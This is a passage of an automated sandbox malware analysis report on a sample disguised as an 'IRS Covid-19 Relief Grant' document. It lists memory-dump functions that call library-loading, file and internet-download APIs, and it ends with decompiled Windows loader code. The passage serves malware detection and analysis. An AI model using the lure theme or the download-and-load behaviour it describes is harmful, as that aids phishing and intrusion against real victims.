LoadLibraryA.KERNELBASE(?,321C9581,?,00568012,0056339D,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00566BFC

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 27db8273925044b21b18dec154e2af07deedd7fd98849e803363a3084d6682fe
Instruction ID: 63e4f7f8ae4b82aca8638ae70cc05a3514851db21f20653f09596cc12e0e6033
Opcode Fuzzy Hash: 27db8273925044b21b18dec154e2af07deedd7fd98849e803363a3084d6682fe
Instruction Fuzzy Hash: 3B017B0454C786DAEB1152B489993E9EEB0FF92318F788A5FACD3C3027C7A44489A303

Uniqueness

Uniqueness Score: -1.00%

Function 0056912A, Relevance: 1.6, APIs: 1, Instructions: 50filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET ref: 0056926B

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: acafa0784ee95665ec734f75e26960958a619255ff9587fc9f4a67d38227af1b
Instruction ID: 545318fa8a0fdc8db29c5730f636928709d56f3994a4191c9576cb991582b682
Opcode Fuzzy Hash: acafa0784ee95665ec734f75e26960958a619255ff9587fc9f4a67d38227af1b
Instruction Fuzzy Hash: 7501A22831C283D8AF56917A94A52A4BFAE7CA73543EC498B8593C3526D2B10089E303

Uniqueness

Uniqueness Score: -1.00%

Function 00566A92, Relevance: 1.5, APIs: 1, Instructions: 48libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,321C9581,?,00568012,0056339D,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00566BFC

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: fe9da7cc21320da16371cc271f98810159226c7d782d5c3e0d850576ecf89320
Instruction ID: 6284fb52b294fca1d0b17509580070cfa219eca9196e110f16a80e3080c149e4
Opcode Fuzzy Hash: fe9da7cc21320da16371cc271f98810159226c7d782d5c3e0d850576ecf89320
Instruction Fuzzy Hash: EA01A20454C687D6EF11137458983E5EEB0FE96318FB84A1BBCD3C3027C7A44449A703

Uniqueness

Uniqueness Score: -1.00%

Function 00569151, Relevance: 1.5, APIs: 1, Instructions: 47filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET ref: 0056926B

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 86b61046265833e9b585f0767acee567cc697ae2b3ea6e35acb20d241cecc2c3
Instruction ID: ca0e85a79ea3628f74e729d8c1482c5f4011ae54c882b27e9dcb784c56891c12
Opcode Fuzzy Hash: 86b61046265833e9b585f0767acee567cc697ae2b3ea6e35acb20d241cecc2c3
Instruction Fuzzy Hash: 1D01863821C383C9AF56967684A96B4BFADBDA23197ED499F858383516D27100C9E343

Uniqueness

Uniqueness Score: -1.00%

Function 00566AC2, Relevance: 1.5, APIs: 1, Instructions: 45libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,321C9581,?,00568012,0056339D,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00566BFC

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: a2285ec6f5d7aa09fd0df2762367b2357b54a8725edb912cca9496bbb1592ebe
Instruction ID: ce17e0d4918a3f0220b519b1d0eec2c6bb85ee6455a558c7a122313862f1aa18
Opcode Fuzzy Hash: a2285ec6f5d7aa09fd0df2762367b2357b54a8725edb912cca9496bbb1592ebe
Instruction Fuzzy Hash: B7F04C1465CA86DAEB11127498993A8EEA0BE96314FB84A5BACD2C3027C7A44589A703

Uniqueness

Uniqueness Score: -1.00%

Function 005645E5, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9a60a0619c4b4636ad20bca222026fb86b666829bd9afa4fa5c4d0fa0c63a760
Instruction ID: e3002582ce9001b607fb33947fbc5a478a427cb689634358e9f3dbf070e433dc
Opcode Fuzzy Hash: 9a60a0619c4b4636ad20bca222026fb86b666829bd9afa4fa5c4d0fa0c63a760
Instruction Fuzzy Hash: 6C01F41526D7C288D70382BA54DB385FFE98AF221D71CC5CFC0C083117DAA01429F312

Uniqueness

Uniqueness Score: -1.00%

Function 00569185, Relevance: 1.5, APIs: 1, Instructions: 44filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET ref: 0056926B

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: ed2ee6dd1f354470e3f113cb1af8cfc9ebeb93e2551aef2e748fef5a34e877d6
Instruction ID: 5d96a8e4214b2dc9bb1d9a4d3448ab5c09fc152b042976bde1e154f5abfb130a
Opcode Fuzzy Hash: ed2ee6dd1f354470e3f113cb1af8cfc9ebeb93e2551aef2e748fef5a34e877d6
Instruction Fuzzy Hash: 6EF0C22821C283C9AF56957A84E62A4FFAEADE23087EC449F858283417D2B00499E303

Uniqueness

Uniqueness Score: -1.00%

Function 00569219, Relevance: 1.5, APIs: 1, Instructions: 43filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET ref: 0056926B

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 91f562816cd4fab80db29ceb18aea7b99be38269c386bb3370331a0e95b0062a
Instruction ID: ad793cf233179b28939826761ad44dffeee292ae5445d6692df290f3f73f9675
Opcode Fuzzy Hash: 91f562816cd4fab80db29ceb18aea7b99be38269c386bb3370331a0e95b0062a
Instruction Fuzzy Hash: F701811963D3C2C8AB43C2BA94EA589FFE9DCE22193AD44DFC0C18340BD5B01098A352

Uniqueness

Uniqueness Score: -1.00%

Function 005645E0, Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: dbdea09cbc0db5e225ba53168b4c0307d39bb66d976dd47e277e2222061f935f
Instruction ID: 3a39decf541e9681276e5eb8f22627b972d7d44515099a698d451dba3e26b308
Opcode Fuzzy Hash: dbdea09cbc0db5e225ba53168b4c0307d39bb66d976dd47e277e2222061f935f
Instruction Fuzzy Hash: D5F0F62665A3C6C9D703927991AF386FFA4DAE3319B5CC5CFC0C047127D6601129F352

Uniqueness

Uniqueness Score: -1.00%

Function 005691BA, Relevance: 1.5, APIs: 1, Instructions: 38filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET ref: 0056926B

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: c582454de8dda57266e24395063a15ff7aed0edcb8c21ac9bf4ac57355afbac1
Instruction ID: aabcc57ede52c4c291004db4ee8ce44cd80fec9ca39722cac17c44e3b9da457a
Opcode Fuzzy Hash: c582454de8dda57266e24395063a15ff7aed0edcb8c21ac9bf4ac57355afbac1
Instruction Fuzzy Hash: 0BF0542821C3C3D8AF56957A94F52A5FFADADA23187ED449F85928341BD1B01099E342

Uniqueness

Uniqueness Score: -1.00%

Function 005691E6, Relevance: 1.5, APIs: 1, Instructions: 35filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET ref: 0056926B

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 3c938c564551394360378da3deb423018a21a29c75d0d86eed44d26e5c887791
Instruction ID: 0a58f4f63203e62462341db456df4c3dcd49cf6b0a40211c70dc4384728f38af
Opcode Fuzzy Hash: 3c938c564551394360378da3deb423018a21a29c75d0d86eed44d26e5c887791
Instruction Fuzzy Hash: 73F0A72821C3C3C8AF57957A94F62A9FFAEACD230C7AD449FC5828341BD1B01099A343

Uniqueness

Uniqueness Score: -1.00%

Function 00566B52, Relevance: 1.5, APIs: 1, Instructions: 34libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,321C9581,?,00568012,0056339D,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00566BFC

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 6a08ebf2cfc471db3b1284f63690f1047e444e10a9b3949b9578b5452e7ad130
Instruction ID: c4974e9d61a1f6ae70316bd9371082cff20c2ae5605d6bc58be1d72ded941fb0
Opcode Fuzzy Hash: 6a08ebf2cfc471db3b1284f63690f1047e444e10a9b3949b9578b5452e7ad130
Instruction Fuzzy Hash: CCF0271465CA83CAEB0202785498395EEA4FD963147AC895BACE283117C7B445456703

Uniqueness

Uniqueness Score: -1.00%

Function 00566B79, Relevance: 1.5, APIs: 1, Instructions: 34libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,321C9581,?,00568012,0056339D,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00566BFC

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e8f648e54c816d2e0cb1314aad20cd836ffc8fda2568ef1a7d1dd908d0ac1263
Instruction ID: e24e2c9677331010c12bd0988575118347ed3a5123c2121ebf517d9d6094e47f
Opcode Fuzzy Hash: e8f648e54c816d2e0cb1314aad20cd836ffc8fda2568ef1a7d1dd908d0ac1263
Instruction Fuzzy Hash: AEF0271455CAC3CAEB020379189D298EFE4EC963283AC85AF9CE283117C2B408596703

Uniqueness

Uniqueness Score: -1.00%

Function 00566BA6, Relevance: 1.5, APIs: 1, Instructions: 30libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,321C9581,?,00568012,0056339D,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00566BFC

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 9f844c21f7ab44dcb2b36046de54e2c19e5357cce523deede6eed103e000c1f0
Instruction ID: f1d185bff5ddf66d5188d55b24c927665df523ee117f015ad503a0eacae7f80f
Opcode Fuzzy Hash: 9f844c21f7ab44dcb2b36046de54e2c19e5357cce523deede6eed103e000c1f0
Instruction Fuzzy Hash: B6F0E51466CAC3C9EB0343B9549D288EFE4EC9632839C85AF9CE283117C6F044556703

Uniqueness

Uniqueness Score: -1.00%

Function 005642CA, Relevance: 1.5, APIs: 1, Instructions: 27fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000,00564266,00564356), ref: 0056433B

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 19b33fa5c10056ff9f67b1d0c52be1e82fd8b517c70be83c30d9cb546b1cd6bd
Instruction ID: 58211c303959f2d00178c66237b3f61acd4051f9ec763f51b651105b0e4dacfd
Opcode Fuzzy Hash: 19b33fa5c10056ff9f67b1d0c52be1e82fd8b517c70be83c30d9cb546b1cd6bd
Instruction Fuzzy Hash: 77E026117BC3C1E8F71342B47C8AB80FF984FA2319F6D409FAB80A7283D1E00164A312

Uniqueness

Uniqueness Score: -1.00%

Function 00566BD6, Relevance: 1.5, APIs: 1, Instructions: 26libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,321C9581,?,00568012,0056339D,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00566BFC

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 12190dbaf0085cc28a6a9ed7cd6fba132529bc2a89853e3cf6c5a3a11a96c1ca
Instruction ID: 2e236857c597a4f76d4c1e5e1cfefe958a63ad1cbac67635207f0545a9e62e28
Opcode Fuzzy Hash: 12190dbaf0085cc28a6a9ed7cd6fba132529bc2a89853e3cf6c5a3a11a96c1ca
Instruction Fuzzy Hash: E5E0481966DAC2C9FB1343B9589D285EFE4EC963253DC459F98E183107C6E044956313

Uniqueness

Uniqueness Score: -1.00%

Function 005642BC, Relevance: 1.5, APIs: 1, Instructions: 21fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000,00564266,00564356), ref: 0056433B

Memory Dump Source

Source File: 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 7e43a9eafa97ed799a4c5cc84da34a9c0a0ef5b4e50f9eef6909071ede3c75b3
Instruction ID: 58fd7dcc4d488ff1b47beb3fc9e7bced1d69af7f589456590c5af656fe196be7
Opcode Fuzzy Hash: 7e43a9eafa97ed799a4c5cc84da34a9c0a0ef5b4e50f9eef6909071ede3c75b3
Instruction Fuzzy Hash: D7D0A7727C8300FEF62241505D26FD516012F82B00F704416BF8A3B2C292D41664D61E

Uniqueness

Uniqueness Score: -1.00%

Function 1E2A967A, Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E2A9694

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8a9a49f500d6ec4eb13666b8c967cc9e3d23206607fee9db0a67e8c29538d835
Instruction ID: 280d359abc38f5a2bb46c3cf387434054f3d9915fa6e03cd05d34973b86c83ee
Opcode Fuzzy Hash: 8a9a49f500d6ec4eb13666b8c967cc9e3d23206607fee9db0a67e8c29538d835
Instruction Fuzzy Hash: 24B09B719014D6C7D641D771561871B7A017BD4B41F66C161D2030741E8778D091F5B6

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 1E298E00, Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 126
timeCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E1E298E00(void* __ecx) {
				signed int _v8;
				char _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t32;
				intOrPtr _t35;
				intOrPtr _t43;
				void* _t46;
				intOrPtr _t47;
				void* _t48;
				signed int _t49;
				void* _t50;
				intOrPtr* _t51;
				signed int _t52;
				void* _t53;
				intOrPtr _t55;

				_v8 =  *0x1e35d360 ^ _t52;
				_t49 = 0;
				_t48 = __ecx;
				_t55 =  *0x1e358464; // 0x74b10110
				if(_t55 == 0) {
					L9:
					if( !_t49 >= 0) {
						if(( *0x1e355780 & 0x00000003) != 0) {
							E1E2E5510("minkernel\\ntdll\\ldrsnap.c", 0x2b5, "LdrpFindDllActivationContext", 0, "Querying the active activation context failed with status 0x%08lx\n", _t49);
						}
						if(( *0x1e355780 & 0x00000010) != 0) {
							asm("int3");
						}
					}
					return E1E2AB640(_t49, 0, _v8 ^ _t52, _t47, _t48, _t49);
				}
				_t47 =  *((intOrPtr*)(__ecx + 0x18));
				_t43 =  *0x1e357984; // 0x832bd0
				if( *((intOrPtr*)( *[fs:0x30] + 0x1f8)) == 0 || __ecx != _t43) {
					_t32 =  *((intOrPtr*)(_t48 + 0x28));
					if(_t48 == _t43) {
						_t50 = 0x5c;
						if( *_t32 == _t50) {
							_t46 = 0x3f;
							if( *((intOrPtr*)(_t32 + 2)) == _t46 &&  *((intOrPtr*)(_t32 + 4)) == _t46 &&  *((intOrPtr*)(_t32 + 6)) == _t50 &&  *((intOrPtr*)(_t32 + 8)) != 0 &&  *((short*)(_t32 + 0xa)) == 0x3a &&  *((intOrPtr*)(_t32 + 0xc)) == _t50) {
								_t32 = _t32 + 8;
							}
						}
					}
					_t51 =  *0x1e358464; // 0x74b10110
					 *0x1e35b1e0(_t47, _t32,  &_v12);
					_t49 =  *_t51();
					if(_t49 >= 0) {
						L8:
						_t35 = _v12;
						if(_t35 != 0) {
							if( *((intOrPtr*)(_t48 + 0x48)) != 0) {
								E1E299B10( *((intOrPtr*)(_t48 + 0x48)));
								_t35 = _v12;
							}
							 *((intOrPtr*)(_t48 + 0x48)) = _t35;
						}
						goto L9;
					}
					if(_t49 != 0xc000008a) {
						if(_t49 != 0xc000008b && _t49 != 0xc0000089 && _t49 != 0xc000000f && _t49 != 0xc0000204 && _t49 != 0xc0000002) {
							if(_t49 != 0xc00000bb) {
								goto L8;
							}
						}
					}
					if(( *0x1e355780 & 0x00000005) != 0) {
						_push(_t49);
						E1E2E5510("minkernel\\ntdll\\ldrsnap.c", 0x298, "LdrpFindDllActivationContext", 2, "Probing for the manifest of DLL \"%wZ\" failed with status 0x%08lx\n", _t48 + 0x24);
						_t53 = _t53 + 0x1c;
					}
					_t49 = 0;
					goto L8;
				} else {
					goto L9;
				}
			}

0x1e298e0f
0x1e298e16
0x1e298e19
0x1e298e1b
0x1e298e21
0x1e298e7f
0x1e298e85
0x1e2d9354
0x1e2d936c
0x1e2d9371
0x1e2d937b
0x1e2d9381
0x1e2d9381
0x1e2d937b
0x1e298e9d
0x1e298e9d
0x1e298e29
0x1e298e2c
0x1e298e38
0x1e298e3e
0x1e298e43
0x1e298eb5
0x1e298eb9
0x1e2d92aa
0x1e2d92af
0x1e2d92e8
0x1e2d92e8
0x1e2d92af
0x1e298eb9
0x1e298e45
0x1e298e53
0x1e298e5b
0x1e298e5f
0x1e298e78
0x1e298e78
0x1e298e7d
0x1e298ec3
0x1e298ecd
0x1e298ed2
0x1e298ed2
0x1e298ec5
0x1e298ec5
0x00000000
0x1e298e7d
0x1e298e67
0x1e298ea4
0x1e2d931a
0x00000000
0x00000000
0x1e2d9320
0x1e298ea4
0x1e298e70
0x1e2d9325
0x1e2d9340
0x1e2d9345
0x1e2d9345
0x1e298e76
0x00000000
0x00000000
0x00000000
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 1E298E53

Strings

Querying the active activation context failed with status 0x%08lx, xrefs: 1E2D9357
minkernel\ntdll\ldrsnap.c, xrefs: 1E2D933B, 1E2D9367
LdrpFindDllActivationContext, xrefs: 1E2D9331, 1E2D935D
Probing for the manifest of DLL "%wZ" failed with status 0x%08lx, xrefs: 1E2D932A

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: DebugPrintTimes
String ID: LdrpFindDllActivationContext$Probing for the manifest of DLL "%wZ" failed with status 0x%08lx$Querying the active activation context failed with status 0x%08lx$minkernel\ntdll\ldrsnap.c
API String ID: 3446177414-3779518884
Opcode ID: 49bf0e61a850786dbb45e68d92a2e974ef18a582ad333a75c9b5a32c2fef0006
Instruction ID: c93f6098fcf43f9c9276935c4e4886fad3eebfb99cb104dafbe9273dc3967561
Opcode Fuzzy Hash: 49bf0e61a850786dbb45e68d92a2e974ef18a582ad333a75c9b5a32c2fef0006
Instruction Fuzzy Hash: F0412932A10377DFD7199B35C8B8A56F3A6BB44204F2E5729F98857291E7F06C80D681

Uniqueness

Uniqueness Score: -1.00%

Function 1E33E824, Relevance: 6.5, APIs: 4, Instructions: 493
timeCOMMONCrypto

Download Yara Rule

C-Code - Quality: 50%

			E1E33E824(signed int __ecx, signed int* __edx) {
				signed int _v8;
				signed char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				unsigned int _v44;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t177;
				signed int _t179;
				unsigned int _t202;
				signed char _t207;
				signed char _t210;
				signed int _t230;
				void* _t244;
				unsigned int _t247;
				signed int _t288;
				signed int _t289;
				signed int _t291;
				signed char _t293;
				signed char _t295;
				signed char _t298;
				intOrPtr* _t303;
				signed int _t310;
				signed char _t316;
				signed int _t319;
				signed char _t323;
				signed char _t330;
				signed int _t334;
				signed int _t337;
				signed int _t341;
				signed char _t345;
				signed char _t347;
				signed int _t353;
				signed char _t354;
				void* _t383;
				signed char _t385;
				signed char _t386;
				unsigned int _t392;
				signed int _t393;
				signed int _t395;
				signed int _t398;
				signed int _t399;
				signed int _t401;
				unsigned int _t403;
				void* _t404;
				unsigned int _t405;
				signed int _t406;
				signed char _t412;
				unsigned int _t413;
				unsigned int _t418;
				void* _t419;
				void* _t420;
				void* _t421;
				void* _t422;
				void* _t423;
				signed char* _t425;
				signed int _t426;
				signed int _t428;
				unsigned int _t430;
				signed int _t431;
				signed int _t433;

				_v8 =  *0x1e35d360 ^ _t433;
				_v40 = __ecx;
				_v16 = __edx;
				_t289 = 0x4cb2f;
				_t425 = __edx[1];
				_t403 =  *__edx << 2;
				if(_t403 < 8) {
					L3:
					_t404 = _t403 - 1;
					if(_t404 == 0) {
						L16:
						_t289 = _t289 * 0x25 + ( *_t425 & 0x000000ff);
						L17:
						_t426 = _v40;
						_v20 = _t426 + 0x1c;
						_t177 = L1E28FAD0(_t426 + 0x1c);
						_t385 = 0;
						while(1) {
							L18:
							_t405 =  *(_t426 + 4);
							_t179 = (_t177 | 0xffffffff) << (_t405 & 0x0000001f);
							_t316 = _t289 & _t179;
							_v24 = _t179;
							_v32 = _t316;
							_v12 = _t316 >> 0x18;
							_v36 = _t316 >> 0x10;
							_v28 = _t316 >> 8;
							if(_t385 != 0) {
								goto L21;
							}
							_t418 = _t405 >> 5;
							if(_t418 == 0) {
								_t406 = 0;
								L31:
								if(_t406 == 0) {
									L35:
									E1E28FA00(_t289, _t316, _t406, _t426 + 0x1c);
									 *0x1e35b1e0(0xc +  *_v16 * 4,  *((intOrPtr*)(_t426 + 0x28)));
									_t319 =  *((intOrPtr*)( *((intOrPtr*)(_t426 + 0x20))))();
									_v36 = _t319;
									if(_t319 != 0) {
										asm("stosd");
										asm("stosd");
										asm("stosd");
										_t408 = _v16;
										 *(_t319 + 8) =  *(_t319 + 8) & 0xff000001 | 0x00000001;
										 *((char*)(_t319 + 0xb)) =  *_v16;
										 *(_t319 + 4) = _t289;
										_t53 = _t319 + 0xc; // 0xc
										E1E282280(E1E2AF3E0(_t53,  *((intOrPtr*)(_v16 + 4)),  *_v16 << 2), _v20);
										_t428 = _v40;
										_t386 = 0;
										while(1) {
											L38:
											_t202 =  *(_t428 + 4);
											_v16 = _v16 | 0xffffffff;
											_v16 = _v16 << (_t202 & 0x0000001f);
											_t323 = _v16 & _t289;
											_v20 = _t323;
											_v20 = _v20 >> 0x18;
											_v28 = _t323;
											_v28 = _v28 >> 0x10;
											_v12 = _t323;
											_v12 = _v12 >> 8;
											_v32 = _t323;
											if(_t386 != 0) {
												goto L41;
											}
											_t247 = _t202 >> 5;
											_v24 = _t247;
											if(_t247 == 0) {
												_t412 = 0;
												L50:
												if(_t412 == 0) {
													L53:
													_t291 =  *(_t428 + 4);
													_v28 =  *((intOrPtr*)(_t428 + 0x28));
													_v44 =  *(_t428 + 0x24);
													_v32 =  *((intOrPtr*)(_t428 + 0x20));
													_t207 = _t291 >> 5;
													if( *_t428 < _t207 + _t207) {
														L74:
														_t430 = _t291 >> 5;
														_t293 = _v36;
														_t210 = (_t207 | 0xffffffff) << (_t291 & 0x0000001f) &  *(_t293 + 4);
														_v44 = _t210;
														_t159 = _t430 - 1; // 0xffffffdf
														_t428 = _v40;
														_t330 =  *(_t428 + 8);
														_t386 = _t159 & (_v44 >> 0x00000018) + ((_v44 >> 0x00000010 & 0x000000ff) + ((_t210 >> 0x00000008 & 0x000000ff) + ((_t210 & 0x000000ff) + 0x00b15dcb) * 0x00000025) * 0x00000025) * 0x00000025;
														_t412 = _t293;
														 *_t293 =  *(_t330 + _t386 * 4);
														 *(_t330 + _t386 * 4) = _t293;
														 *_t428 =  *_t428 + 1;
														_t289 = 0;
														L75:
														E1E27FFB0(_t289, _t412, _t428 + 0x1c);
														if(_t289 != 0) {
															_t428 =  *(_t428 + 0x24);
															 *0x1e35b1e0(_t289,  *((intOrPtr*)(_t428 + 0x28)));
															 *_t428();
														}
														L77:
														return E1E2AB640(_t412, _t289, _v8 ^ _t433, _t386, _t412, _t428);
													}
													_t334 = 2;
													_t207 = E1E29F3D5( &_v24, _t207 * _t334, _t207 * _t334 >> 0x20);
													if(_t207 < 0) {
														goto L74;
													}
													_t413 = _v24;
													if(_t413 < 4) {
														_t413 = 4;
													}
													 *0x1e35b1e0(_t413 << 2, _v28);
													_t207 =  *_v32();
													_t386 = _t207;
													_v16 = _t386;
													if(_t386 == 0) {
														_t291 =  *(_t428 + 4);
														if(_t291 >= 0x20) {
															goto L74;
														}
														_t289 = _v36;
														_t412 = 0;
														goto L75;
													} else {
														_t108 = _t413 - 1; // 0x3
														_t337 = _t108;
														if((_t413 & _t337) == 0) {
															L62:
															if(_t413 > 0x4000000) {
																_t413 = 0x4000000;
															}
															_t295 = _t386;
															_v24 = _v24 & 0x00000000;
															_t392 = _t413 << 2;
															_t230 = _t428 | 0x00000001;
															_t393 = _t392 >> 2;
															asm("sbb ecx, ecx");
															_t341 =  !(_v16 + _t392) & _t393;
															if(_t341 <= 0) {
																L67:
																_t395 = (_t393 | 0xffffffff) << ( *(_t428 + 4) & 0x0000001f);
																_v32 = _t395;
																_v20 = 0;
																if(( *(_t428 + 4) & 0xffffffe0) <= 0) {
																	L72:
																	_t345 =  *(_t428 + 8);
																	_t207 = _v16;
																	_t291 =  *(_t428 + 4) & 0x0000001f | _t413 << 0x00000005;
																	 *(_t428 + 8) = _t207;
																	 *(_t428 + 4) = _t291;
																	if(_t345 != 0) {
